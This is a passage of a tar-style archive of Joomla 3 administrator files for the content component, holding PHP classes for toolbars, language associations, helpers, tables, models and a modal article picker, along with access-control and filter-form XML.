		{
			$this->addToolbar();
			$this->sidebar = JHtmlSidebar::render();
		}
		else
		{
			// In article associations modal we need to remove language filter if forcing a language.
			// We also need to change the category filter to show show categories with All or the forced language.
			if ($forcedLanguage = JFactory::getApplication()->input->get('forcedLanguage', '', 'CMD'))
			{
				// If the language is forced we can't allow to select the language, so transform the language selector filter into a hidden field.
				$languageXml = new SimpleXMLElement('<field name="language" type="hidden" default="' . $forcedLanguage . '" />');
				$this->filterForm->setField($languageXml, 'filter', true);

				// Also, unset the active language filter so the search tools is not open by default with this filter.
				unset($this->activeFilters['language']);

				// One last changes needed is to change the category filter to just show categories with All language or with the forced language.
				$this->filterForm->setFieldAttribute('category_id', 'language', '*,' . $forcedLanguage, 'filter');
			}
		}

		return parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		$canDo = JHelperContent::getActions('com_content', 'category', $this->state->get('filter.category_id'));
		$user  = JFactory::getUser();

		// Get the toolbar object instance
		$bar = JToolbar::getInstance('toolbar');

		JToolbarHelper::title(JText::_('COM_CONTENT_ARTICLES_TITLE'), 'stack article');

		if ($canDo->get('core.create') || count($user->getAuthorisedCategories('com_content', 'core.create')) > 0)
		{
			JToolbarHelper::addNew('article.add');
		}

		if ($canDo->get('core.edit') || $canDo->get('core.edit.own'))
		{
			JToolbarHelper::editList('article.edit');
		}

		if ($canDo->get('core.edit.state'))
		{
			JToolbarHelper::publish('articles.publish', 'JTOOLBAR_PUBLISH', true);
			JToolbarHelper::unpublish('articles.unpublish', 'JTOOLBAR_UNPUBLISH', true);
			JToolbarHelper::custom('articles.featured', 'featured.png', 'featured_f2.png', 'JFEATURE', true);
			JToolbarHelper::custom('articles.unfeatured', 'unfeatured.png', 'featured_f2.png', 'JUNFEATURE', true);
			JToolbarHelper::archiveList('articles.archive');
			JToolbarHelper::checkin('articles.checkin');
		}

		// Add a batch button
		if ($user->authorise('core.create', 'com_content')
			&& $user->authorise('core.edit', 'com_content')
			&& $user->authorise('core.edit.state', 'com_content'))
		{
			$title = JText::_('JTOOLBAR_BATCH');

			// Instantiate a new JLayoutFile instance and render the batch button
			$layout = new JLayoutFile('joomla.toolbar.batch');

			$dhtml = $layout->render(array('title' => $title));
			$bar->appendButton('Custom', $dhtml, 'batch');
		}

		if ($this->state->get('filter.published') == -2 && $canDo->get('core.delete'))
		{
			JToolbarHelper::deleteList('JGLOBAL_CONFIRM_DELETE', 'articles.delete', 'JTOOLBAR_EMPTY_TRASH');
		}
		elseif ($canDo->get('core.edit.state'))
		{
			JToolbarHelper::trash('articles.trash');
		}

		if ($user->authorise('core.admin', 'com_content') || $user->authorise('core.options', 'com_content'))
		{
			JToolbarHelper::preferences('com_content');
		}

		JToolbarHelper::help('JHELP_CONTENT_ARTICLE_MANAGER');
	}

	/**
	 * Returns an array of fields the table can be sorted by
	 *
	 * @return  array  Array containing the field name to sort by as the key and display text as value
	 *
	 * @since   3.0
	 */
	protected function getSortFields()
	{
		return array(
			'a.ordering'     => JText::_('JGRID_HEADING_ORDERING'),
			'a.state'        => JText::_('JSTATUS'),
			'a.title'        => JText::_('JGLOBAL_TITLE'),
			'category_title' => JText::_('JCATEGORY'),
			'access_level'   => JText::_('JGRID_HEADING_ACCESS'),
			'a.created_by'   => JText::_('JAUTHOR'),
			'language'       => JText::_('JGRID_HEADING_LANGUAGE'),
			'a.created'      => JText::_('JDATE'),
			'a.id'           => JText::_('JGRID_HEADING_ID'),
			'a.featured'     => JText::_('JFEATURED')
		);
	}
}
com_content/access.xml000060400000006077152455305310011050 0ustar00<?xml version="1.0" encoding="utf-8" ?>
<access component="com_content">
	<section name="component">
		<action name="core.admin" title="JACTION_ADMIN" description="JACTION_ADMIN_COMPONENT_DESC" />
		<action name="core.options" title="JACTION_OPTIONS" description="JACTION_OPTIONS_COMPONENT_DESC" />
		<action name="core.manage" title="JACTION_MANAGE" description="JACTION_MANAGE_COMPONENT_DESC" />
		<action name="core.create" title="JACTION_CREATE" description="JACTION_CREATE_COMPONENT_DESC" />
		<action name="core.delete" title="JACTION_DELETE" description="JACTION_DELETE_COMPONENT_DESC" />
		<action name="core.edit" title="JACTION_EDIT" description="JACTION_EDIT_COMPONENT_DESC" />
		<action name="core.edit.state" title="JACTION_EDITSTATE" description="JACTION_EDITSTATE_COMPONENT_DESC" />
		<action name="core.edit.own" title="JACTION_EDITOWN" description="JACTION_EDITOWN_COMPONENT_DESC" />
		<action name="core.edit.value" title="JACTION_EDITVALUE" description="JACTION_EDITVALUE_COMPONENT_DESC" />
	</section>
	<section name="category">
		<action name="core.create" title="JACTION_CREATE" description="COM_CATEGORIES_ACCESS_CREATE_DESC" />
		<action name="core.delete" title="JACTION_DELETE" description="COM_CATEGORIES_ACCESS_DELETE_DESC" />
		<action name="core.edit" title="JACTION_EDIT" description="COM_CATEGORIES_ACCESS_EDIT_DESC" />
		<action name="core.edit.state" title="JACTION_EDITSTATE" description="COM_CATEGORIES_ACCESS_EDITSTATE_DESC" />
		<action name="core.edit.own" title="JACTION_EDITOWN" description="COM_CATEGORIES_ACCESS_EDITOWN_DESC" />
	</section>
	<section name="article">
		<action name="core.delete" title="JACTION_DELETE" description="COM_CONTENT_ACCESS_DELETE_DESC" />
		<action name="core.edit" title="JACTION_EDIT" description="COM_CONTENT_ACCESS_EDIT_DESC" />
		<action name="core.edit.state" title="JACTION_EDITSTATE" description="COM_CONTENT_ACCESS_EDITSTATE_DESC" />
	</section>
	<section name="fieldgroup">
		<action name="core.create" title="JACTION_CREATE" description="COM_FIELDS_GROUP_PERMISSION_CREATE_DESC" />
		<action name="core.delete" title="JACTION_DELETE" description="COM_FIELDS_GROUP_PERMISSION_DELETE_DESC" />
		<action name="core.edit" title="JACTION_EDIT" description="COM_FIELDS_GROUP_PERMISSION_EDIT_DESC" />
		<action name="core.edit.state" title="JACTION_EDITSTATE" description="COM_FIELDS_GROUP_PERMISSION_EDITSTATE_DESC" />
		<action name="core.edit.own" title="JACTION_EDITOWN" description="COM_FIELDS_GROUP_PERMISSION_EDITOWN_DESC" />
		<action name="core.edit.value" title="JACTION_EDITVALUE" description="COM_FIELDS_GROUP_PERMISSION_EDITVALUE_DESC" />
	</section>
	<section name="field">
		<action name="core.delete" title="JACTION_DELETE" description="COM_FIELDS_FIELD_PERMISSION_DELETE_DESC" />
		<action name="core.edit" title="JACTION_EDIT" description="COM_FIELDS_FIELD_PERMISSION_EDIT_DESC" />
		<action name="core.edit.state" title="JACTION_EDITSTATE" description="COM_FIELDS_FIELD_PERMISSION_EDITSTATE_DESC" />
		<action name="core.edit.value" title="JACTION_EDITVALUE" description="COM_FIELDS_FIELD_PERMISSION_EDITVALUE_DESC" />
	</section>
</access>
com_content/helpers/html/contentadministrator.php000060400000007362152455305310016455 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_content
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

JLoader::register('ContentHelper', JPATH_ADMINISTRATOR . '/components/com_content/helpers/content.php');

/**
 * Content HTML helper
 *
 * @since  3.0
 */
abstract class JHtmlContentAdministrator
{
	/**
	 * Render the list of associated items
	 *
	 * @param   integer  $articleid  The article item id
	 *
	 * @return  string  The language HTML
	 *
	 * @throws  Exception
	 */
	public static function association($articleid)
	{
		// Defaults
		$html = '';

		// Get the associations
		if ($associations = JLanguageAssociations::getAssociations('com_content', '#__content', 'com_content.item', $articleid))
		{
			foreach ($associations as $tag => $associated)
			{
				$associations[$tag] = (int) $associated->id;
			}

			// Get the associated menu items
			$db = JFactory::getDbo();
			$query = $db->getQuery(true)
				->select('c.*')
				->select('l.sef as lang_sef')
				->select('l.lang_code')
				->from('#__content as c')
				->select('cat.title as category_title')
				->join('LEFT', '#__categories as cat ON cat.id=c.catid')
				->where('c.id IN (' . implode(',', array_values($associations)) . ')')
				->where('c.id != ' . $articleid)
				->join('LEFT', '#__languages as l ON c.language=l.lang_code')
				->select('l.image')
				->select('l.title as language_title');
			$db->setQuery($query);

			try
			{
				$items = $db->loadObjectList('id');
			}
			catch (RuntimeException $e)
			{
				throw new Exception($e->getMessage(), 500, $e);
			}

			if ($items)
			{
				foreach ($items as &$item)
				{
					$text    = $item->lang_sef ? strtoupper($item->lang_sef) : 'XX';
					$url     = JRoute::_('index.php?option=com_content&task=article.edit&id=' . (int) $item->id);

					$tooltip = htmlspecialchars($item->title, ENT_QUOTES, 'UTF-8') . '<br />' . JText::sprintf('JCATEGORY_SPRINTF', $item->category_title);
					$classes = 'hasPopover label label-association label-' . $item->lang_sef;

					$item->link = '<a href="' . $url . '" title="' . $item->language_title . '" class="' . $classes
						. '" data-content="' . $tooltip . '" data-placement="top">'
						. $text . '</a>';
				}
			}

			JHtml::_('bootstrap.popover');

			$html = JLayoutHelper::render('joomla.content.associations', $items);
		}

		return $html;
	}

	/**
	 * Show the feature/unfeature links
	 *
	 * @param   integer  $value      The state value
	 * @param   integer  $i          Row number
	 * @param   boolean  $canChange  Is user allowed to change?
	 *
	 * @return  string       HTML code
	 */
	public static function featured($value = 0, $i = 0, $canChange = true)
	{
		JHtml::_('bootstrap.tooltip');

		// Array of image, task, title, action
		$states = array(
			0 => array('unfeatured', 'articles.featured', 'COM_CONTENT_UNFEATURED', 'JGLOBAL_TOGGLE_FEATURED'),
			1 => array('featured', 'articles.unfeatured', 'COM_CONTENT_FEATURED', 'JGLOBAL_TOGGLE_FEATURED'),
		);
		$state = ArrayHelper::getValue($states, (int) $value, $states[1]);
		$icon  = $state[0];

		if ($canChange)
		{
			$html = '<a href="#" onclick="return listItemTask(\'cb' . $i . '\',\'' . $state[1] . '\')" class="btn btn-micro hasTooltip'
				. ($value == 1 ? ' active' : '') . '" title="' . JHtml::_('tooltipText', $state[3])
				. '"><span class="icon-' . $icon . '" aria-hidden="true"></span></a>';
		}
		else
		{
			$html = '<a class="btn btn-micro hasTooltip disabled' . ($value == 1 ? ' active' : '') . '" title="'
				. JHtml::_('tooltipText', $state[2]) . '"><span class="icon-' . $icon . '" aria-hidden="true"></span></a>';
		}

		return $html;
	}
}
com_content/helpers/associations.php000060400000006676152455305310013744 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_content
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Association\AssociationExtensionHelper;

/**
 * Content associations helper.
 *
 * @since  3.7.0
 */
class ContentAssociationsHelper extends AssociationExtensionHelper
{
	/**
	 * The extension name
	 *
	 * @var     array   $extension
	 *
	 * @since   3.7.0
	 */
	protected $extension = 'com_content';

	/**
	 * Array of item types
	 *
	 * @var     array   $itemTypes
	 *
	 * @since   3.7.0
	 */
	protected $itemTypes = array('article', 'category');

	/**
	 * Has the extension association support
	 *
	 * @var     boolean   $associationsSupport
	 *
	 * @since   3.7.0
	 */
	protected $associationsSupport = true;

	/**
	 * Get the associated items for an item
	 *
	 * @param   string  $typeName  The item type
	 * @param   int     $id        The id of item for which we need the associated items
	 *
	 * @return  array
	 *
	 * @since   3.7.0
	 */
	public function getAssociations($typeName, $id)
	{
		$type = $this->getType($typeName);

		$context    = $this->extension . '.item';
		$catidField = 'catid';

		if ($typeName === 'category')
		{
			$context    = 'com_categories.item';
			$catidField = '';
		}

		// Get the associations.
		$associations = JLanguageAssociations::getAssociations(
			$this->extension,
			$type['tables']['a'],
			$context,
			$id,
			'id',
			'alias',
			$catidField
		);

		return $associations;
	}

	/**
	 * Get item information
	 *
	 * @param   string  $typeName  The item type
	 * @param   int     $id        The id of item for which we need the associated items
	 *
	 * @return  JTable|null
	 *
	 * @since   3.7.0
	 */
	public function getItem($typeName, $id)
	{
		if (empty($id))
		{
			return null;
		}

		$table = null;

		switch ($typeName)
		{
			case 'article':
				$table = JTable::getInstance('Content');
				break;

			case 'category':
				$table = JTable::getInstance('Category');
				break;
		}

		if (is_null($table))
		{
			return null;
		}

		$table->load($id);

		return $table;
	}

	/**
	 * Get information about the type
	 *
	 * @param   string  $typeName  The item type
	 *
	 * @return  array  Array of item types
	 *
	 * @since   3.7.0
	 */
	public function getType($typeName = '')
	{
		$fields  = $this->getFieldsTemplate();
		$tables  = array();
		$joins   = array();
		$support = $this->getSupportTemplate();
		$title   = '';

		if (in_array($typeName, $this->itemTypes))
		{
			switch ($typeName)
			{
				case 'article':

					$support['state'] = true;
					$support['acl'] = true;
					$support['checkout'] = true;
					$support['category'] = true;
					$support['save2copy'] = true;

					$tables = array(
						'a' => '#__content'
					);

					$title = 'article';
					break;

				case 'category':
					$fields['created_user_id'] = 'a.created_user_id';
					$fields['ordering'] = 'a.lft';
					$fields['level'] = 'a.level';
					$fields['catid'] = '';
					$fields['state'] = 'a.published';

					$support['state'] = true;
					$support['acl'] = true;
					$support['checkout'] = true;
					$support['level'] = true;

					$tables = array(
						'a' => '#__categories'
					);

					$title = 'category';
					break;
			}
		}

		return array(
			'fields'  => $fields,
			'support' => $support,
			'tables'  => $tables,
			'joins'   => $joins,
			'title'   => $title
		);
	}
}
com_content/helpers/content.php000060400000010333152455305310012700 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_content
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Content component helper.
 *
 * @since  1.6
 */
class ContentHelper extends JHelperContent
{
	public static $extension = 'com_content';

	/**
	 * Configure the Linkbar.
	 *
	 * @param   string  $vName  The name of the active view.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public static function addSubmenu($vName)
	{
		JHtmlSidebar::addEntry(
			JText::_('JGLOBAL_ARTICLES'),
			'index.php?option=com_content&view=articles',
			$vName == 'articles'
		);
		JHtmlSidebar::addEntry(
			JText::_('COM_CONTENT_SUBMENU_CATEGORIES'),
			'index.php?option=com_categories&extension=com_content',
			$vName == 'categories'
		);

		JHtmlSidebar::addEntry(
			JText::_('COM_CONTENT_SUBMENU_FEATURED'),
			'index.php?option=com_content&view=featured',
			$vName == 'featured'
		);

		if (JComponentHelper::isEnabled('com_fields') && JComponentHelper::getParams('com_content')->get('custom_fields_enable', '1'))
		{
			JHtmlSidebar::addEntry(
				JText::_('JGLOBAL_FIELDS'),
				'index.php?option=com_fields&context=com_content.article',
				$vName == 'fields.fields'
			);
			JHtmlSidebar::addEntry(
				JText::_('JGLOBAL_FIELD_GROUPS'),
				'index.php?option=com_fields&view=groups&context=com_content.article',
				$vName == 'fields.groups'
			);
		}
	}

	/**
	 * Applies the content tag filters to arbitrary text as per settings for current user group
	 *
	 * @param   text  $text  The string to filter
	 *
	 * @return  string  The filtered string
	 *
	 * @deprecated  4.0  Use JComponentHelper::filterText() instead.
	 */
	public static function filterText($text)
	{
		try
		{
			JLog::add(
				sprintf('%s() is deprecated. Use JComponentHelper::filterText() instead', __METHOD__),
				JLog::WARNING,
				'deprecated'
			);
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		return JComponentHelper::filterText($text);
	}

	/**
	 * Adds Count Items for Category Manager.
	 *
	 * @param   stdClass[]  &$items  The category objects
	 *
	 * @return  stdClass[]
	 *
	 * @since   3.5
	 */
	public static function countItems(&$items)
	{
		$config = (object) array(
			'related_tbl'   => 'content',
			'state_col'     => 'state',
			'group_col'     => 'catid',
			'relation_type' => 'category_or_group',
		);

		return parent::countRelations($items, $config);
	}

	/**
	 * Adds Count Items for Tag Manager.
	 *
	 * @param   stdClass[]  &$items     The tag objects
	 * @param   string      $extension  The name of the active view.
	 *
	 * @return  stdClass[]
	 *
	 * @since   3.6
	 */
	public static function countTagItems(&$items, $extension)
	{
		$parts   = explode('.', $extension);
		$section = count($parts) > 1 ? $parts[1] : null;

		$config = (object) array(
			'related_tbl'   => ($section === 'category' ? 'categories' : 'content'),
			'state_col'     => ($section === 'category' ? 'published' : 'state'),
			'group_col'     => 'tag_id',
			'extension'     => $extension,
			'relation_type' => 'tag_assigments',
		);

		return parent::countRelations($items, $config);
	}

	/**
	 * Returns a valid section for articles. If it is not valid then null
	 * is returned.
	 *
	 * @param   string  $section  The section to get the mapping for
	 *
	 * @return  string|null  The new section
	 *
	 * @since   3.7.0
	 */
	public static function validateSection($section)
	{
		if (JFactory::getApplication()->isClient('site'))
		{
			// On the front end we need to map some sections
			switch ($section)
			{
				// Editing an article
				case 'form':

				// Category list view
				case 'featured':
				case 'category':
					$section = 'article';
			}
		}

		if ($section != 'article')
		{
			// We don't know other sections
			return null;
		}

		return $section;
	}

	/**
	 * Returns valid contexts
	 *
	 * @return  array
	 *
	 * @since   3.7.0
	 */
	public static function getContexts()
	{
		JFactory::getLanguage()->load('com_content', JPATH_ADMINISTRATOR);

		$contexts = array(
			'com_content.article'    => JText::_('COM_CONTENT'),
			'com_content.categories' => JText::_('JCATEGORY')
		);

		return $contexts;
	}
}
com_content/tables/featured.php000060400000001105152455305310012632 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_content
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Featured Table class.
 *
 * @since  1.6
 */
class ContentTableFeatured extends JTable
{
	/**
	 * Constructor
	 *
	 * @param   JDatabaseDriver  $db  Database connector object
	 *
	 * @since   1.6
	 */
	public function __construct(&$db)
	{
		parent::__construct('#__content_frontpage', 'content_id', $db);
	}
}
com_content/models/feature.php000060400000002300152455305310012475 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_content
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('ContentModelArticle', __DIR__ . '/article.php');

/**
 * Feature model.
 *
 * @since  1.6
 */
class ContentModelFeature extends ContentModelArticle
{
	/**
	 * Returns a Table object, always creating it.
	 *
	 * @param   string  $type    The table type to instantiate
	 * @param   string  $prefix  A prefix for the table class name. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JTable	A database object
	 *
	 * @since   1.6
	 */
	public function getTable($type = 'Featured', $prefix = 'ContentTable', $config = array())
	{
		return JTable::getInstance($type, $prefix, $config);
	}

	/**
	 * A protected method to get a set of ordering conditions.
	 *
	 * @param   object  $table  A record object.
	 *
	 * @return  array  An array of conditions to add to add to ordering queries.
	 *
	 * @since   1.6
	 */
	protected function getReorderConditions($table)
	{
		return array();
	}
}
com_content/models/forms/filter_featured.xml000060400000010400152455305310015345 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			label="COM_CONTENT_FILTER_SEARCH_LABEL"
			description="COM_CONTENT_FILTER_SEARCH_DESC"
			hint="JSEARCH_FILTER"
		/>

		<field
			name="published"
			type="status"
			label="COM_CONTENT_FILTER_PUBLISHED"
			description="COM_CONTENT_FILTER_PUBLISHED_DESC"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
		</field>

		<field
			name="category_id"
			type="category"
			label="JOPTION_FILTER_CATEGORY"
			description="JOPTION_FILTER_CATEGORY_DESC"
			multiple="true"
			class="multipleCategories"
			extension="com_content"
			onchange="this.form.submit();"
		/>

		<field
			name="level"
			type="integer"
			label="JOPTION_FILTER_LEVEL"
			description="JOPTION_FILTER_LEVEL_DESC"
			first="1"
			last="10"
			step="1"
			languages="*"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_MAX_LEVELS</option>
		</field>

		<field
			name="access"
			type="accesslevel"
			label="JOPTION_FILTER_ACCESS"
			description="JOPTION_FILTER_ACCESS_DESC"
			multiple="true"
			class="multipleAccessLevels"
			onchange="this.form.submit();"
		/>

		<field
			name="author_id"
			type="author"
			label="COM_CONTENT_FILTER_AUTHOR"
			description="COM_CONTENT_FILTER_AUTHOR_DESC"
			multiple="true"
			class="multipleAuthors"
			onchange="this.form.submit();"
			>
			<option value="0">JNONE</option>
		</field>

		<field
			name="language"
			type="contentlanguage"
			label="JOPTION_FILTER_LANGUAGE"
			description="JOPTION_FILTER_LANGUAGE_DESC"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_LANGUAGE</option>
			<option value="*">JALL</option>
		</field>

		<field
			name="tag"
			type="tag"
			label="JOPTION_FILTER_TAG"
			description="JOPTION_FILTER_TAG_DESC"
			multiple="true"
			class="multipleTags"
			mode="nested"
			onchange="this.form.submit();"
		/>
	</fields>

	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="COM_CONTENT_LIST_FULL_ORDERING"
			description="COM_CONTENT_LIST_FULL_ORDERING_DESC"
			onchange="this.form.submit();"
			default="a.title ASC"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="fp.ordering ASC">JGRID_HEADING_ORDERING_ASC</option>
			<option value="fp.ordering DESC">JGRID_HEADING_ORDERING_DESC</option>
			<option value="a.state ASC">JSTATUS_ASC</option>
			<option value="a.state DESC">JSTATUS_DESC</option>
			<option value="a.title ASC">JGLOBAL_TITLE_ASC</option>
			<option value="a.title DESC">JGLOBAL_TITLE_DESC</option>
			<option value="category_title ASC">JCATEGORY_ASC</option>
			<option value="category_title DESC">JCATEGORY_DESC</option>
			<option value="a.access ASC">JGRID_HEADING_ACCESS_ASC</option>
			<option value="a.access DESC">JGRID_HEADING_ACCESS_DESC</option>
			<option value="a.created_by ASC">JAUTHOR_ASC</option>
			<option value="a.created_by DESC">JAUTHOR_DESC</option>
			<option value="a.publish_up ASC">COM_CONTENT_PUBLISH_UP_ASC</option>
			<option value="a.publish_up DESC">COM_CONTENT_PUBLISH_UP_DESC</option>
			<option value="a.publish_down ASC">COM_CONTENT_PUBLISH_DOWN_ASC</option>
			<option value="a.publish_down DESC">COM_CONTENT_PUBLISH_DOWN_DESC</option>
			<option value="language ASC">JGRID_HEADING_LANGUAGE_ASC</option>
			<option value="language DESC">JGRID_HEADING_LANGUAGE_DESC</option>
			<option value="a.created ASC">JDATE_ASC</option>
			<option value="a.created DESC">JDATE_DESC</option>
			<option value="a.hits ASC">JGLOBAL_HITS_ASC</option>
			<option value="a.hits DESC">JGLOBAL_HITS_DESC</option>
			<option value="rating_count ASC" requires="vote">JGLOBAL_VOTES_ASC</option>
			<option value="rating_count DESC" requires="vote">JGLOBAL_VOTES_DESC</option>
			<option value="rating ASC" requires="vote">JGLOBAL_RATINGS_ASC</option>
			<option value="rating DESC" requires="vote">JGLOBAL_RATINGS_DESC</option>
			<option value="a.id ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id DESC">JGRID_HEADING_ID_DESC</option>
		</field>

		<field
			name="limit"
			type="limitbox"
			label="COM_CONTENT_LIST_LIMIT"
			description="COM_CONTENT_LIST_LIMIT_DESC"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
com_content/models/fields/modal/article.php000060400000023130152455305310015033 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_content
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\LanguageHelper;

/**
 * Supports a modal article picker.
 *
 * @since  1.6
 */
class JFormFieldModal_Article extends JFormField
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $type = 'Modal_Article';

	/**
	 * Method to get the field input markup.
	 *
	 * @return  string  The field input markup.
	 *
	 * @since   1.6
	 */
	protected function getInput()
	{
		$allowNew       = ((string) $this->element['new'] == 'true');
		$allowEdit      = ((string) $this->element['edit'] == 'true');
		$allowClear     = ((string) $this->element['clear'] != 'false');
		$allowSelect    = ((string) $this->element['select'] != 'false');
		$allowPropagate = ((string) $this->element['propagate'] == 'true');

		$languages = LanguageHelper::getContentLanguages(array(0, 1));

		// Load language
		JFactory::getLanguage()->load('com_content', JPATH_ADMINISTRATOR);

		// The active article id field.
		$value = (int) $this->value > 0 ? (int) $this->value : '';

		// Create the modal id.
		$modalId = 'Article_' . $this->id;

		// Add the modal field script to the document head.
		JHtml::_('jquery.framework');
		JHtml::_('script', 'system/modal-fields.js', array('version' => 'auto', 'relative' => true));

		// Script to proxy the select modal function to the modal-fields.js file.
		if ($allowSelect)
		{
			static $scriptSelect = null;

			if (is_null($scriptSelect))
			{
				$scriptSelect = array();
			}

			if (!isset($scriptSelect[$this->id]))
			{
				JFactory::getDocument()->addScriptDeclaration("
				function jSelectArticle_" . $this->id . "(id, title, catid, object, url, language) {
					window.processModalSelect('Article', '" . $this->id . "', id, title, catid, object, url, language);
				}
				");

				JText::script('JGLOBAL_ASSOCIATIONS_PROPAGATE_FAILED');

				$scriptSelect[$this->id] = true;
			}
		}

		// Setup variables for display.
		$linkArticles = 'index.php?option=com_content&amp;view=articles&amp;layout=modal&amp;tmpl=component&amp;' . JSession::getFormToken() . '=1';
		$linkArticle  = 'index.php?option=com_content&amp;view=article&amp;layout=modal&amp;tmpl=component&amp;' . JSession::getFormToken() . '=1';

		if (isset($this->element['language']))
		{
			$linkArticles .= '&amp;forcedLanguage=' . $this->element['language'];
			$linkArticle  .= '&amp;forcedLanguage=' . $this->element['language'];
			$modalTitle    = JText::_('COM_CONTENT_CHANGE_ARTICLE') . ' &#8212; ' . $this->element['label'];
		}
		else
		{
			$modalTitle    = JText::_('COM_CONTENT_CHANGE_ARTICLE');
		}

		$urlSelect = $linkArticles . '&amp;function=jSelectArticle_' . $this->id;
		$urlEdit   = $linkArticle . '&amp;task=article.edit&amp;id=\' + document.getElementById("' . $this->id . '_id").value + \'';
		$urlNew    = $linkArticle . '&amp;task=article.add';

		if ($value)
		{
			$db    = JFactory::getDbo();
			$query = $db->getQuery(true)
				->select($db->quoteName('title'))
				->from($db->quoteName('#__content'))
				->where($db->quoteName('id') . ' = ' . (int) $value);
			$db->setQuery($query);

			try
			{
				$title = $db->loadResult();
			}
			catch (RuntimeException $e)
			{
				JError::raiseWarning(500, $e->getMessage());
			}
		}

		$title = empty($title) ? JText::_('COM_CONTENT_SELECT_AN_ARTICLE') : htmlspecialchars($title, ENT_QUOTES, 'UTF-8');

		// The current article display field.
		$html  = '<span class="input-append">';
		$html .= '<input class="input-medium" id="' . $this->id . '_name" type="text" value="' . $title . '" disabled="disabled" size="35" />';

		// Select article button
		if ($allowSelect)
		{
			$html .= '<button'
				. ' type="button"'
				. ' class="btn hasTooltip' . ($value ? ' hidden' : '') . '"'
				. ' id="' . $this->id . '_select"'
				. ' data-toggle="modal"'
				. ' data-target="#ModalSelect' . $modalId . '"'
				. ' title="' . JHtml::tooltipText('COM_CONTENT_CHANGE_ARTICLE') . '">'
				. '<span class="icon-file" aria-hidden="true"></span> ' . JText::_('JSELECT')
				. '</button>';
		}

		// New article button
		if ($allowNew)
		{
			$html .= '<button'
				. ' type="button"'
				. ' class="btn hasTooltip' . ($value ? ' hidden' : '') . '"'
				. ' id="' . $this->id . '_new"'
				. ' data-toggle="modal"'
				. ' data-target="#ModalNew' . $modalId . '"'
				. ' title="' . JHtml::tooltipText('COM_CONTENT_NEW_ARTICLE') . '">'
				. '<span class="icon-new" aria-hidden="true"></span> ' . JText::_('JACTION_CREATE')
				. '</button>';
		}

		// Edit article button
		if ($allowEdit)
		{
			$html .= '<button'
				. ' type="button"'
				. ' class="btn hasTooltip' . ($value ? '' : ' hidden') . '"'
				. ' id="' . $this->id . '_edit"'
				. ' data-toggle="modal"'
				. ' data-target="#ModalEdit' . $modalId . '"'
				. ' title="' . JHtml::tooltipText('COM_CONTENT_EDIT_ARTICLE') . '">'
				. '<span class="icon-edit" aria-hidden="true"></span> ' . JText::_('JACTION_EDIT')
				. '</button>';
		}

		// Clear article button
		if ($allowClear)
		{
			$html .= '<button'
				. ' type="button"'
				. ' class="btn' . ($value ? '' : ' hidden') . '"'
				. ' id="' . $this->id . '_clear"'
				. ' onclick="window.processModalParent(\'' . $this->id . '\'); return false;">'
				. '<span class="icon-remove" aria-hidden="true"></span>' . JText::_('JCLEAR')
				. '</button>';
		}

		// Propagate article button
		if ($allowPropagate && count($languages) > 2)
		{
			// Strip off language tag at the end
			$tagLength = (int) strlen($this->element['language']);
			$callbackFunctionStem = substr("jSelectArticle_" . $this->id, 0, -$tagLength);

			$html .= '<a'
			. ' class="btn hasTooltip' . ($value ? '' : ' hidden') . '"'
			. ' id="' . $this->id . '_propagate"'
			. ' href="#"'
			. ' title="' . JHtml::tooltipText('JGLOBAL_ASSOCIATIONS_PROPAGATE_TIP') . '"'
			. ' onclick="Joomla.propagateAssociation(\'' . $this->id . '\', \'' . $callbackFunctionStem . '\');">'
			. '<span class="icon-refresh" aria-hidden="true"></span>' . JText::_('JGLOBAL_ASSOCIATIONS_PROPAGATE_BUTTON')
			. '</a>';
		}

		$html .= '</span>';

		// Select article modal
		if ($allowSelect)
		{
			$html .= JHtml::_(
				'bootstrap.renderModal',
				'ModalSelect' . $modalId,
				array(
					'title'       => $modalTitle,
					'url'         => $urlSelect,
					'height'      => '400px',
					'width'       => '800px',
					'bodyHeight'  => '70',
					'modalWidth'  => '80',
					'footer'      => '<button type="button" class="btn" data-dismiss="modal">' . JText::_('JLIB_HTML_BEHAVIOR_CLOSE') . '</button>',
				)
			);
		}

		// New article modal
		if ($allowNew)
		{
